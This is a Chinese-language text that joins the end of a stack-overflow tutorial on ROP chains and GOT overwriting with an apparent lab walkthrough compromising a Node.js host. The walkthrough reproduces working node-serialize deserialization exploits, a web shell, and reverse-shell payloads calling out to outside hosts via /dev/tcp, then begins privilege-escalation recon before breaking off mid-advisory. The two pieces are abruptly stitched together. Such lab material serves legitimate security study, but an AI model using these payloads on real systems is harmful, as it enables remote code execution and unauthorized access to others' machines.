在調用 mprotect() 為棧開啟可執行權限之後,我們希望執行一段 shellcode,所以要將 shellcode 也加入溢出數據,並將 shellcode 的開始地址加到 int 0x80 的 gadget之後。但確定 shellcode 在內存的確切地址是很困難的事(想起上篇里面艱難試探的過程了嗎?),我們可以使用 push esp 這個 gadget(加入可以找到的話)。
gadget “push esp; ret;”
我們假設現在內存中可以找到如下幾條指令:
pop eax; ret; # pop stack top into eax
pop ebx; ret; # pop stack top into ebx
pop ecx; ret; # pop stack top into ecx
pop edx; ret; # pop stack top into edx
int 0x80; ret; # system call
push esp; ret; # push address of shellcode
對於所有包含 pop 指令的 gadget,在其地址之後都要添加 pop 的傳輸數據,同時在所有 gadget 最後包含一段 shellcode,最終溢出數據結構應該變為如下格式。
payload : padding + address of gadget 1 + param for gadget 1 + address of gadget 2 + param for gadget 2 + ...... + address of gadget n + shellcode
包含多個 gadget 的溢出數據(修改後):
此處為了簡單,先假定輸入溢出數據不受“\x00"字符的影響,所以 payload 可以直接包含 “\x7d\x00\x00\x00”(傳給 eax 的參數125)。如果希望實現更為真實的操作,可以用多個 gadget 通過運算得到上述參數。比如可以通過下面三條 gadget 來給 eax 傳遞參數。
pop eax; ret; # pop stack top 0x1111118e into eax
pop ebx; ret; # pop stack top 0x11111111 into ebx
sub eax, ebx; ret; # eax -= ebx
解決完上述問題,我們就可以拼接出溢出數據,輸入至程序來為程序調用棧開啟可執行權限並執行 shellcode。同時,由於 ROP 方法帶來的靈活性,現在不再需要痛苦地試探 shellcode 起始地址了。回顧整個輸入數據,只有棧的分段地址需要獲取確定地址。如果利用 gadget 讀取 ebp 的值再加上某個合適的數值,就可以保證溢出數據都具有可執行權限,這樣就不再需要獲取確切地址,也就具有了繞過內存隨機化的可能。
出於演示的目的,我們假設(簡直是欽點)了所有需要的 gadget 的存在。在實際搜索及拼接 gadget 時,並不會像上面一樣順利,有兩個方面需要注意。
第一,很多時候並不能一次湊齊全部的理想指令片段,這時就要通過數據地址的偏移、寄存器之間的數據傳輸等方法來“曲線救國”。舉個例子,假設找不到下面這條 gadget
pop ebx; ret;
但假如可以找到下面的 gadget
mov ebx, eax; ret;
我們就可以將它和
pop eax; ret;
組合起來實現將數據傳輸給 ebx 的功能。上面提到的用多個 gadget 避免輸入“\x00”也是一個實例應用。
第二,要小心 gadget 是否會破壞前面各個 gadget 已經實現的部分,比如可能修改某個已經寫入數值的寄存器。另外,要特別小心 gadget 對 ebp 和 esp 的操作,因為它們的變化會改變返回地址的位置,進而使後續的 gadget 無法執行。
--修改某個被調用函數的地址,讓其指向另一個函數
根據上面副標題的說明,要完成的任務包括:在內存中修改某個函數的地址,使其指向另一個函數。為了便於理解,不妨假設修改 printf() 函數的地址使其指向 system(),這樣修改之後程序內對 printf() 的調用就執行 system() 函數。要實現這個過程,我們就要弄清楚發生函數調用時程序是如何“找到”被調用函數的。
程序對外部函數的調用需要在生成可執行文件時將外部函數鏈接到程序中,鏈接的方式分為靜態鏈接和動態鏈接。靜態鏈接得到的可執行文件包含外部函數的全部代碼,動態鏈接得到的可執行文件並不包含外部函數的代碼,而是在運行時將動態鏈接庫(若幹外部函數的集合)加載到內存的某個位置,再在發生調用時去鏈接庫定位所需的函數。
可程序是如何在鏈接庫內定位到所需的函數呢?這個過程用到了兩張表--GOT 和 PLT。GOT 全稱是全局偏移量表(Global Offset Table),用來存儲外部函數在內存的確切地址。GOT 存儲在數據段(Data Segment)內,可以在程序運行中被修改。PLT 全稱是程序鏈接表(Procedure Linkage Table),用來存儲外部函數的入口點(entry),換言之程序總會到 PLT 這里尋找外部函數的地址。PLT 存儲在代碼段(Code Segment)內,在運行之前就已經確定並且不會被修改,所以 PLT 並不會知道程序運行時動態鏈接庫被加載的確切位置。那麽 PLT 表內存儲的入口點是什麽呢?就是 GOT 表中對應條目的地址。
PLT 和 GOT 表
等等,我們好像發現了一個不合理的地方,外部函數的內存地址存儲在 GOT 而非 PLT 表內,PLT 存儲的入口點又指向 GOT 的對應條目,那麽程序為什麽選擇 PLT 而非 GOT 作為調用的入口點呢?在程序啟動時確定所有外部函數的內存地址並寫入 GOT 表,之後只使用 GOT 表不是更方便嗎?這樣的設計是為了程序的運行效率。GOT 表的初始值都指向 PLT 表對應條目中的某個片段,這個片段的作用是調用一個函數地址解析函數。當程序需要調用某個外部函數時,首先到 PLT 表內尋找對應的入口點,跳轉到 GOT 表中。如果這是第一次調用這個函數,程序會通過 GOT 表再次跳轉回 PLT 表,運行地址解析程序來確定函數的確切地址,並用其覆蓋掉 GOT 表的初始值,之後再執行函數調用。當再次調用這個函數時,程序仍然首先通過 PLT 表跳轉到 GOT 表,此時 GOT 表已經存有獲取函數的內存地址,所以會直接跳轉到函數所在地址執行函數。整個過程如下面兩張圖所示。
上述實現遵循的是一種被稱為 LAZY 的設計思想,它將需要完成的操作(解析外部函數的內存地址)留到調用實際發生時才進行,而非在程序一開始運行時就解析出全部函數地址。這個過程也啟示了我們如何實現函數的偽裝,那就是到 GOT 表中將函數 A 的地址修改為函數 B 的地址。這樣在後面所有對函數 A 的調用都會執行函數 B。
那麽我們的目標可以分解為如下幾部分:確定函數 A 在 GOT 表中的條目位置,確定函數 B 在內存中的地址,將函數 B 的地址寫入函數 A 在 GOT 表中的條目。
首先,如何確定函數 A 在 GOT 表中的條目位置?
程序調用函數時是通過 PLT 表跳轉到 GOT 表的對應條目,所以可以在函數調用的匯編指令中找到 PLT 表中該函數的入口點位置,從而定位到該函數在 GOT 中的條目。
例如
call 0x08048430 <printf@plt>
就說明 printf 在 PLT 表中的入口點是在 0x08048430,所以 0x08048430 處存儲的就是 GOT 表中 printf 的條目地址。
其次,如何確定函數 B 在內存中的地址?
如果系統開啟了內存布局隨機化,程序每次運行動態鏈接庫的加載位置都是隨機的,就很難通過調試工具直接確定函數的地址。假如函數 B 在棧溢出之前已經被調用過,我們當然可以通過前一個問題的答案來獲得地址。但我們心儀的攻擊函數往往並不滿足被調用過的要求,也就是 GOT 表中並沒有其真實的內存地址。幸運的是,函數在動態鏈接庫內的相對位置是固定的,在動態庫打包生成時就已經確定。所以假如我們知道了函數 A 的運行時地址(讀取 GOT 表內容),也知道函數 A 和函數 B 在動態鏈接庫內的相對位置,就可以推算出函數 B 的運行時地址。
最後,如何實現 GOT 表中數據的修改?
很難找到合適的函數來完成這一任務,不過我們還有強大的 ROP(DIY大法好)。假設我們可以找到以下若幹條 gadget(繼續欽點),就不難改寫 GOT 表中數據,從而實現函數的偽裝。ROP 的具體實現請回看上一章,這里就不再贅述了。
pop eax; ret; # printf@plt -> eax
mov ebx [eax]; ret; # printf@got -> ebx
pop ecx; ret; # addr_diff = system - printf -> ecx
add [ebx] ecx; ret; # printf@got += addr_diff
aaa從修改 GOT 表的過程可以看出,這種方法也可以在一定程度上繞過內存隨機化。
介紹過幾種棧溢出的基礎方法,我們再來補充一下操作系統內有哪些常見的措施可以進行防禦。首先,通常情況下程序在默認編譯設置下都會取消棧上數據的可執行權限,這樣簡單的 shellcode 溢出攻擊就無法實現了。其次,可以在操作系統內開啟內存布局隨機化(ASLR),這樣可以增大確定堆棧內數據和動態庫內函數的內存地址的難度。編譯程序時還可以設置某些編譯選項,使程序在運行時會在函數棧上的 ebp 地址和返回地址之間生成一個特殊的值,這個值被稱為“金絲雀”(關於這個典故,請大家自行谷歌)。這樣一旦發生了棧溢出並覆蓋了返回地址,這個值就會被改寫,從而實現函數棧的越界檢查。最後值得強調的是,盡可能寫出安全可靠的代碼,不給棧溢出提供寫入越界的可能。
https://www.csie.ntu.edu.tw/~sprout/algo2021/homework/hand07.pdf
计算机底层各种寄存器EIP EBP ESP_爱吃牛肉的大老虎的博客-CSDN博客
函数栈EIP、EBP、ESP寄存器的作用(转)
緩衝區溢位攻擊之一(Buffer Overflow)
栈溢出之 shellcode | harpersu00's Blog
手把手教你栈溢出从入门到放弃(上)
手把手教你栈溢出从入门到放弃(下)
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ nmap -sP 192.168.18.0/24
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 18:03 CST
Nmap scan report for 192.168.18.1
Host is up (0.0015s latency).
Nmap scan report for 192.168.18.3
Host is up (0.086s latency).
Nmap scan report for 192.168.18.21
Host is up (0.048s latency).
Nmap scan report for 192.168.18.184
Host is up (0.00092s latency).
Nmap scan report for 192.168.18.185
Host is up (0.0012s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 11.15 seconds
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 192.168.18.185
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 18:07 CST
Nmap scan report for 192.168.18.185
Host is up (0.0012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 956804c7420304cd004e367ecd4f66ea (RSA)
| 256 c3065f7f17b6cbbc796b4646cc113a7d (ECDSA)
|_ 256 630c288825d5481982bbbd72c66c6850 (ED25519)
666/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/11%OT=22%CT=1%CU=40453%PV=Y%DS=2%DC=T%G=Y%TM=6395AB
OS:F9%P=x86_64-pc-linux-gnu)SEQ(SP=FE%GCD=1%ISR=10D%TI=Z%II=I%TS=A)SEQ(SP=F
OS:E%GCD=1%ISR=10D%TI=Z%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11
OS:NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=712
OS:0%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)
OS:T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK
OS:=71CF%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
TRACEROUTE (using port 143/tcp)
HOP RTT ADDRESS
1 0.17 ms DESKTOP-NRNV04H.mshome.net (172.26.0.1)
2 4.80 ms 192.168.18.185
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.21 seconds
只有開22跟666,先用瀏覽器到666 port去看:
如果重新整理,會到這個網頁:
把文字複製下來如下,看上圖反藍處知道可能是序列化問題
SyntaxError: Unexpected token F in JSON at position 79
at JSON.parse (<anonymous>)
at Object.exports.unserialize (/home/nodeadmin/.web/node_modules/node-serialize/lib/serialize.js:62:16)
at /home/nodeadmin/.web/server.js:12:29
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:137:13)
at Route.dispatch (/home/nodeadmin/.web/node_modules/express/lib/router/route.js:112:3)
at Layer.handle [as handle_request] (/home/nodeadmin/.web/node_modules/express/lib/router/layer.js:95:5)
at /home/nodeadmin/.web/node_modules/express/lib/router/index.js:281:22
at Function.process_params (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:335:12)
at next (/home/nodeadmin/.web/node_modules/express/lib/router/index.js:275:10)
目錄爆破一下,但也沒什麼成果:
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ gobuster dir -u http://192.168.18.185:666 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,old,zip,gz,con
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.18.185:666
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: txt,bak,old,zip,gz,con,php
[+] Timeout: 10s
===============================================================
2022/12/12 09:45:14 Starting gobuster in directory enumeration mode
===============================================================
Progress: 1764125 / 1764488 (99.98%)===============================================================
2022/12/12 10:02:02 Finished
===============================================================
真的都不行了就抓包,看看請求跟回應有沒有什麼蛛絲馬跡,這裡是firefox按F12會出現的畫面:
檔頭複製如下:
GET / HTTP/1.1
Host: 192.168.18.185:666
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
Upgrade-Insecure-Requests: 1
If-None-Match: W/"24-xWt5IUP3GfGbHraPgY5EGPpcNzA"
回應如圖,就是剛剛把網頁重新整理後出現的錯誤訊息:
可疑的就是cookie的那一串亂碼,
把cookie的值:eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOkZyaWRheSwgMTMgT2N0IDIwMTggMDA6MDA6MDAgR01UIn0%3D
拿去base64解碼,到網站 https://www.base64decode.org :
解碼後的值如下,可以發現日期沒被雙引號括起來:
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}7
稍微整理一下:
{"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":"Friday, 13 Oct 2018 00:00:00 GMT"}
把整理過後的值再次編碼:
得到的base64如下:
eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOiJGcmlkYXksIDEzIE9jdCAyMDE4IDAwOjAwOjAwIEdNVCJ9
把這個應該正確的cookie用curl推送,可以看到有正常的回應:
└─$ curl -b 'profile=eyJ1c2VybmFtZSI6IkFkbWluIiwiY3NyZnRva2VuIjoidTMydDRvM3RiM2dnNDMxZnMzNGdnZGdjaGp3bnphMGw9IiwiRXhwaXJlcz0iOiJGcmlkYXksIDEzIE9jdCAyMDE4IDAwOjAwOjAwIEdNVCJ9' http://192.168.18.185:666/
Hello Admin
總之,如剛剛反藍處說的,是序列化的問題,而666是node.js的框架所在,所以找一下漏洞:
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ searchsploit Node.js
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Node.JS - 'node-serialize' Remote Code Execution | linux/remote/45265.js
Node.JS - 'node-serialize' Remote Code Execution (2) | nodejs/webapps/49552.py
Node.JS - 'node-serialize' Remote Code Execution (3) | nodejs/webapps/50036.js
Trend Micro - node.js HTTP Server Listening on localhost Can Execute Commands | windows/remote/39218.html
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
前三個個看一下原始碼:
┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ cat 45265.js
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
第二個:
└─$ cat 49552.py
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941
import requests
import re
import base64
import sys
url = 'http://192.168.100.133:8000/' # change this
payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")
# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload
string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'
cookie = {'profile':base64.b64encode(string)}
try:
response = requests.get(url, cookies=cookie).text
print response
except requests.exceptions.RequestException as e:
print('Oops!')
sys.exit(1)
第三個:
└─$ cat 50036.js
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (3)
# Date: 17.06.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://github.com/luin/serialize
# Software Link: https://github.com/luin/serialize
# Version: 0.0.4
# Tested on: Windows & Ubuntu
# CVE : 2017-5941
var serialize = require('node-serialize');
var payload = {
"webShell" : "_$$ND_FUNC$$_function(){const http = require('http'); const url = require('url'); const ps = require('child_process'); http.createServer(function (req, res) { var queryObject = url.parse(req.url,true).query; var cmd = queryObject['cmd']; try { ps.exec(cmd, function(error, stdout, stderr) { res.end(stdout); }); } catch (error) { return; }}).listen(443); }()"
}
serialize.unserialize(serialize.serialize(payload))
/*
# after being exploited
┌──(root@kali)-[/home/kali]
└─# curl http://10.0.2.4:443?cmd=whoami
nodeadmin
*/
也可以看看這個漏洞的原理:
先拿第一個POC舉例,最重要的是這一段:
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /',function(error, stdout, stderr) { console.log(stdout) });\n }()"}
可以改寫成如下:
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}
再經base64編碼:
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQ==
把剛剛的編碼利用curl送到cookie:
└─$ curl -b 'profile=eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ3dob2FtaScsKGUsb3V0LGVycik9Pntjb25zb2xlLmxvZyhvdXQpO30pOyB9KCkifQ==' http://192.168.18.185:666/
Hello nodeadmin
剛剛只是夾了whoami,所以改成夾reverse shell,應該可以get shell:
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('bash -i >& /dev/tcp/192.168.18.184/5555 0>&1',(e,out,err)=>{console.log(out);}); }()"}
經base64編碼,用curl推送:
eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbigpe3JldHVybiByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlY1N5bmMoJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xOC4xODQvNTU1NSAwPiYxJywoZSxvdXQsZXJyKT0+e2NvbnNvbGUubG9nKG91dCk7fSk7IH0oKSJ9
記得在執行curl推送前,先聽port,這一次不用穩定shell:
┌──(kali㉿kali)-[~]
└─$ nc -lvp 5555
listening on [any] 5555 ...
192.168.18.185: inverse host lookup failed: Unknown host
connect to [192.168.18.184] from (UNKNOWN) [192.168.18.185] 47274
bash: cannot set terminal process group (758): Inappropriate ioctl for device
bash: no job control in this shell
[nodeadmin@localhost ~]$
get shell後先看看目錄:
[nodeadmin@localhost ~]$ ls -al
ls -al
total 40
drwx------. 5 nodeadmin nodeadmin 4096 Jun 7 2018 .
drwxr-xr-x. 4 root root 4096 Jun 2 2018 ..
-rw-------. 1 nodeadmin nodeadmin 1 Jun 7 2018 .bash_history
-rw-r--r--. 1 nodeadmin nodeadmin 18 Mar 15 2018 .bash_logout
-rw-r--r--. 1 nodeadmin nodeadmin 193 Mar 15 2018 .bash_profile
-rw-r--r--. 1 nodeadmin nodeadmin 231 Mar 15 2018 .bashrc
drwx------ 3 nodeadmin nodeadmin 4096 Jun 1 2018 .config
-rw------- 1 nodeadmin nodeadmin 16 Jun 3 2018 .esd_auth
drwxr-xr-x 4 nodeadmin nodeadmin 4096 Jun 3 2018 .forever
drwxrwxr-x. 3 nodeadmin nodeadmin 4096 May 30 2018 .web
[nodeadmin@localhost ~]$ cd /home
cd /home
[nodeadmin@localhost home]$ ls -al
ls -al
total 16
drwxr-xr-x. 4 root root 4096 Jun 2 2018 .
dr-xr-xr-x. 18 root root 4096 May 30 2018 ..
drwx------ 6 fireman fireman 4096 Jun 7 2018 fireman
drwx------. 5 nodeadmin nodeadmin 4096 Jun 7 2018 nodeadmin
可以發現有另一個使用者fireman,來查查這使用者用了什麼程式,是可以拿來提權或是切換到fireman這個使用者的:
[nodeadmin@localhost home]$ ps aux | grep fireman
ps aux | grep fireman
root 751 0.0 0.1 301464 4356 ? S 09:05 0:00 su fireman -c /usr/local/bin/ss-manager
fireman 759 0.0 0.0 37060 3836 ? Ss 09:05 0:00 /usr/local/bin/ss-manager
nodeadm+ 919 0.0 0.0 213788 1012 ? S 09:08 0:00 grep --color=auto fireman
利用linpeas.sh的掃瞄結果:
╔══════════╣ Cleaned processes
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root 1 0.1 0.2 170776 9432 ? Ss 09:05 0:00 /usr/lib/systemd/systemd --switched-root --system --deserialize 32
root 479 0.0 0.3 124332 16308 ? Ss 09:05 0:00 /usr/lib/systemd/systemd-journald
root 499 0.0 0.1 96564 8196 ? Ss 09:05 0:00 /usr/lib/systemd/systemd-udevd
root 548 0.0 0.0 182948 2168 ? Ss 09:05 0:00 /usr/sbin/lvmetad -f -t 3600
root 586 0.0 0.0 54064 2008 ? S<sl 09:05 0:00 /sbin/auditd
root 605 0.0 0.1 417584 8444 ? Ssl 09:05 0:00 /usr/sbin/ModemManager
dbus 606 0.0 0.1 52812 4748 ? Ss 09:05 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
└─(Caps) 0x0000000020000000=cap_audit_write
root 609 0.0 0.2 519300 10528 ? Ssl 09:05 0:00 /usr/libexec/udisks2/udisksd
rtkit 610 0.0 0.0 192964 3412 ? SNsl 09:05 0:00 /usr/libexec/rtkit-daemon
└─(Caps) 0x0000000000880004=cap_dac_read_search,cap_sys_ptrace,cap_sys_nice
root 611 0.0 0.0 9132 2036 ? Ss 09:05 0:00 /usr/sbin/mcelog --ignorenodev --daemon[0m --foreground
root 612 0.0 0.0 17472 1540 ? SNs 09:05 0:00 /usr/sbin/alsactl -s -n 19 -c -E ALSA_CONFIG_PATH=/etc/alsa/alsactl.conf --initfile=/lib/alsa/init/00main rdaemon[0m
root 614 0.0 0.1 79460 6192 ? Ss 09:05 0:00 /usr/lib/systemd/systemd-logind
avahi 650 0.0 0.0 54300 380 ? S 09:05 0:00 _ avahi-daemon: chroot helper
root 618 0.0 0.5 710552 22420 ? Ssl 09:05 0:00 /usr/sbin/rsyslogd -n
root 632 0.0 0.1 26364 4736 ? Ss 09:05 0:00 /usr/sbin/smartd -n -q never
root 634 0.0 0.3 883128 17048 ? Ssl 09:05 0:00 /usr/sbin/NetworkManager --no-daemon[0m
root 771 0.0 0.2 82768 8656 ? S 09:05 0:00 _ /sbin/dhclient -d -q -sf /usr/libexec/nm-dhcp-helper -pf /var/run/dhclient-eth0.pid -lf /var/lib/NetworkManager/dhclient-0a4eb58b-88ff-381b-9334-e0d108bbf542-eth0.lease -cf /var/lib/NetworkManager/dhclient-eth0.conf eth0
root 636 0.0 0.2 546912 10556 ? Ssl 09:05 0:00 /usr/sbin/abrtd -d -s
root 644 0.0 0.0 299692 3644 ? Ssl 09:05 0:00 /usr/sbin/gssproxy -D
chrony 652 0.0 0.0 105572 2852 ? S 09:05 0:00 /usr/sbin/chronyd
└─(Caps) 0x0000000002000400=cap_net_bind_service,cap_sys_time
polkitd 669 0.0 0.4 1751248 21496 ? Ssl 09:05 0:00 /usr/lib/polkit-1/polkitd --no-debug
root 670 0.0 0.1 79544 6504 ? Ss 09:05 0:00 /usr/sbin/sshd -D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc -oMACs=hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,umac-128@openssh.com,hmac-sha2-512 -oGSSAPIKexAlgorithms=gss-gex-sha1-,gss-group14-sha1- -oKexAlgorithms=curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1
root 679 0.0 0.5 833624 24716 ? Ss 09:05 0:00 /usr/bin/abrt-dump-journal-oops -fxtD
root 680 0.0 0.3 768004 13520 ? Ss 09:05 0:00 /usr/bin/abrt-dump-journal-core -D -T -f -e
root 681 0.0 0.4 768004 19736 ? Ss 09:05 0:00 /usr/bin/abrt-dump-journal-xorg -fxtD
root 687 0.0 0.0 229500 3496 ? Ss 09:05 0:00 /usr/sbin/crond -n
root 701 0.0 0.1 287716 4828 ? S 09:05 0:00 _ /usr/sbin/CROND -n
root 703 0.0 0.1 287716 4828 ? S 09:05 0:00 _ /usr/sbin/CROND -n
root 688 0.0 0.0 28088 2204 ? Ss 09:05 0:00 /usr/sbin/atd -f
root 704 0.0 0.0 213528 1840 tty1 Ss+ 09:05 0:00 /sbin/agetty -o -p -- u --noclear tty1 linux
root 712 0.0 0.1 87688 8292 ? Ss 09:05 0:00 /usr/lib/systemd/systemd --user
root 719 0.0 0.0 140828 2604 ? S 09:05 0:00 _ (sd-pam)
root 749 0.0 0.2 578068 11948 ? S<sl 09:05 0:00 _ /usr/bin/pulseaudio --daemonize=no
root 769 0.0 0.0 52236 3920 ? Ss 09:05 0:00 _ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
nodeadm+ 713 0.0 0.1 87656 8116 ? Ss 09:05 0:00 /usr/lib/systemd/systemd --user
nodeadm+ 720 0.0 0.0 140828 2600 ? S 09:05 0:00 _ (sd-pam)
nodeadm+ 756 0.0 0.1 497052 8508 ? Ssl 09:05 0:00 _ /usr/bin/pulseaudio --daemonize=no
nodeadm+ 838 0.0 0.0 52236 3808 ? Ss 09:05 0:00 _ /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 751 0.0 0.1 301464 4356 ? S 09:05 0:00 su fireman -c /usr/local/bin/ss-manager
fireman 759 0.0 0.0 37060 3836 ? Ss 09:05 0:00 _ /usr/local/bin/ss-manager
其中兩行也有掃到這個程式:
root 751 0.0 0.1 301464 4356 ? S 09:05 0:00 su fireman -c /usr/local/bin/ss-manager
fireman 759 0.0 0.0 37060 3836 ? Ss 09:05 0:00 _ /usr/local/bin/ss-manager
找找ss-manager有沒有漏洞:
開啟第二個網頁,可以知道編號是43006:
來找找43006:
┌──(kali㉿DESKTOP-NRNV04H)-[~]
└─$ searchsploit 43006
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
shadowsocks-libev 3.1.0 - Command Execution | linux/local/43006.txt
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
看看它的說明:
┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ sudo searchsploit -m 43006
[sudo] password for kali:
Exploit: shadowsocks-libev 3.1.0 - Command Execution
URL: https://www.exploit-db.com/exploits/43006
Path: /usr/share/exploitdb/exploits/linux/local/43006.txt
Codes: N/A
Verified: False
File Type: ASCII text
Copied to: /home/kali/target_machine/temple_of_doom/43006.txt
┌──(kali㉿DESKTOP-NRNV04H)-[~/target_machine/temple_of_doom]
└─$ cat 43006.txt
X41 D-Sec GmbH Security Advisory: X41-2017-010
Command Execution in Shadowsocks-libev
======================================
Overview
--------
Severity Rating: High
Confirmed Affected Versions: 3.1.0
Confirmed Patched Versions: N/A
Vendor: Shadowsocks
Vendor URL: https://github.com/shadowsocks/shadowsocks-libev
Vector: Local
Credit: X41 D-Sec GmbH, Niklas Abel
Status: Public
CVE: not yet assigned
Advisory-URL:
https://www.x41-dsec.de/lab/advisories/x41-2017-010-shadowsocks-libev/
Summary and Impact
------------------
Shadowsocks-libev offers local command execution per configuration file
or/and additionally, code execution per UDP request on 127.0.0.1.
The configuration file on the file system or the JSON configuration
